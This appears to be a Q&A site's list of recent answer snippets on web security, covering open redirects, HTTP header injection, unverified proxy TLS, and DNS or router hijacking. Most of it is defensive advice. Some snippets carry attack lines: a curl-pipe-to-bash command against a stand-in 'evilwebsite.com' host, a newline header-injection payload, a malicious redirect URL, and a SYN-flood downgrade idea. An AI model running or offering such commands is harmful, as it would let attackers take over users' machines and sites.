New answers tagged

4

The short answer No. This is not safe, and should not be done. In fact, this is the last one of OWASP Top 10: A10. Unvalidated Redirects and Forwards Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims ...


2

To add to what others have said : If you have a set of known URL's to redirect to (that you could map to an identifier), it would be much better to allow only known identifiers in the "redirect" parameter value. Then you can map the identifier to your safe, known, URL. Thanks to such a technique "all your troubles" go away. Of course if the value of ...


3

Current versions of PHP detect and prevent newline injections in the header function, see How to avoid HTTP Header Injection (new lines characters). In older versions pf PHP you could probably do something like login.php?redirect=%0D%0A%0D%0A<script>... Which would break out of the header and result in Location: <script>... And your ...


1

The first vulnerability I can think of is to pass a full URL as an argument that will redirect the user to a fake copy of the site (login.php?redirect=http://malicious.com) Aside from that, I'm sure there are several ways to prevent the redirection from happening and displaying instead malicious HTML/JavaScript. As a general rule, any URL parameter should ...


0

You could try running synflood against port 443. The client wouldn't be able to connect, and may fail back to port 80. Just a disclaimer, but I haven't tried this. Anyone want to chime in?


2

On top of what Ángel wrote, the connection between your Nginx server and https://some/ can be MITMed, because some's certificate is not verified by default. You would need to set proxy_ssl_trusted_certificate and proxy_ssl_verify to enforce that. You should also look at proxy_ignore_headers for headers such as Set-Cookie and X-Accel-Redirect that a ...


2

The only vulnerability here is the http:// connection that you wished to ignore. Suppose that there is a MITM, and the attacker added to your .vimrc command Q !curl http://evilwebsite.com/infect.sh | bash Then, misspelling :q as :Q would infect your machine.¹ Is it really worth the risk? Note that even if you secured your connection to example.com, the ...


0

First of all, as @Steffen Ullrich suggests, a redirect is not automatically malicious, even if it is definitely possible. In particular, I analyzed the URLs you quoted with VirusTotal, and they don't seem to be malicious. It is not clear why the second URL includes parameters related to your IP address, ISP, browser version, etc. , but keep in mind that ...


0

Existence if such redirects by itself does not mean malware in all cases, but it can be. Very often you will find such redirects when ads gets served because ad-delivery is today usually a multi-step process with several parties involved. This is especially true with targeted ads and real-time ad-bidding networks. In such delivery chains each of the party ...


2

So they hacked my router? I didn't even know that was possible, but now that I think about it, it is remotely accessible on the LAN and the username/password is the manufacturer default. Will a hard reset of the router and then changing the username/password be sufficient now? Download the newest firmware for your router to a computer. Scan for ...


4

One common attack method consistent with your symptoms is DNS Hijacking, which is any means that an attacker uses to convince your computer that your bank's web site, "www.mybank.com" is actually at an IP which is a server under their control instead of the IP under your bank's control. When you type this into any browser, it heads for the malicious server ...


1

This is a suggestion to try to narrow down where the issue may lie. In Chrome, I suggest opening an incognito window, then opening the developer tools. Switch to the the network tab. Type in the correct URL in Chrome and hit enter. If the request in the network tab has the wrong URL, then something on your computer is changing the URL (maybe a bad add-on ...


2

Seems to be a Man In The Middle attack with DNS spoofing. I suggest to perform a ping from an online service like this and check the IP address of the site. Then type it into your browser URL bar and check if you get redirect to the false website.



Top 50 recent answers are included